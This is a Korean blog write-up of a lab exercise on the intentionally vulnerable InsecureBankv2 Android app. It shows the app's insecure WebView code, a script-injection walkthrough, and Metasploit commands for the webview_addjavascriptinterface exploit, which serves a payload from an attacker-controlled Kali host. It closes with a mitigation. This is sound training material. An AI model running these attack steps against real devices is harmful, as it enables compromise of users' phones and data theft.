본문 바로가기

Security Study/Android

[InsecureBankv2] 안전하지 않은 웹 뷰

취약점 개요

취약점 설명

웹 뷰는 네이티브 앱에 내재되어 있는 웹 브라우저로, 일반 웹 브라우저와 달리 주소창, 새로고침, 즐겨찾기와 같은 기능은 없고 단순히 웹페이지만 보여줄 수 있다. 웹 뷰에서 자바스크립트 코드가 강제로 실행되게 함으로써 다른 사용자의 중요 정보를 탈취하는 취약점이다.

보안 위협

사용자가 의도하지 않은 스크립트를 실행하도록 하여 정보 탈취 등의 행위가 가능하다.

발생 위치

ViewStatement.java

 

취약점 진단 과정

수동

Step 1) ViewStatement.java 확인

ViewStatement 액티비티에서 웹 뷰가 사용되는 것을 확인할 수 있다. 웹 뷰의 객체를 선언한 후, 접근할 파일 경로를 설정한다.

if (fileToCheck.exists()) {
	//Toast.makeText(this, "Statement Exists!!",Toast.LENGTH_LONG).show();
	
	WebView mWebView = (WebView) findViewById(R.id.webView1);
	//   Location where the statements are stored locally on the device sdcard
	mWebView.loadUrl("file://" + Environment.getExternalStorageDirectory() + "/Statements_" + uname + ".html");
	mWebView.getSettings().setJavaScriptEnabled(true);
	mWebView.getSettings().setSaveFormData(true);
	mWebView.getSettings().setBuiltInZoomControls(true);
	mWebView.setWebViewClient(new MyWebViewClient());
	WebChromeClient cClient = new WebChromeClient();
	mWebView.setWebChromeClient(cClient);
}

Step 2) 스크립트 입력

Transfer 기능을 사용하면 ViewStatement에 기록이 된다. Transfer에 스크립트를 입력한 후 ViewStatement로 이동하면 스크립트가 실행될 것인데, 이는 스크립트 구문을 검사하지 않고, 앞서 살펴본 웹 뷰의 객체에서 setJavaScriptEnabled 속성이 “true”로 설정되어 있기 때문이다.

Transfer는 failed 되지만, 스크립트는 정상적으로 실행되는 것을 확인할 수 있다.

Step 3) 전송된 정보 확인

adb shell에 접속 후 /sdcard 경로의 Statements_jack.html 파일을 확인해보면, ViewStatement에서 보여지는 송금 정보를 확인할 수 있다. 이는 ViewStatement가 해당 html 파일을 웹 뷰 형식으로 보여주고 있음을 의미한다.

metasploit

Step 1) metasploit 실행

msfconsole

Step 2) 웹 뷰 취약점 모듈 실행

use exploit/android/browser/webview_addjavascriptinterface

Step 3) 옵션 설정

로컬 호스트 IP 설정

set LHOST [kali linux IP]

URL 설정

공격에 사용할 URL 설정을 한다.

set URIPATH xitcsk

Step 4) exploit 실행

Step 5) nox player에서 칼리리눅스 IP/xitcsk에 접속

 

대응 방안

  • setJavaScriptEnabled 속성을 “false”로 설정하여 스크립트가 실행되지 않도록 한다.
반응형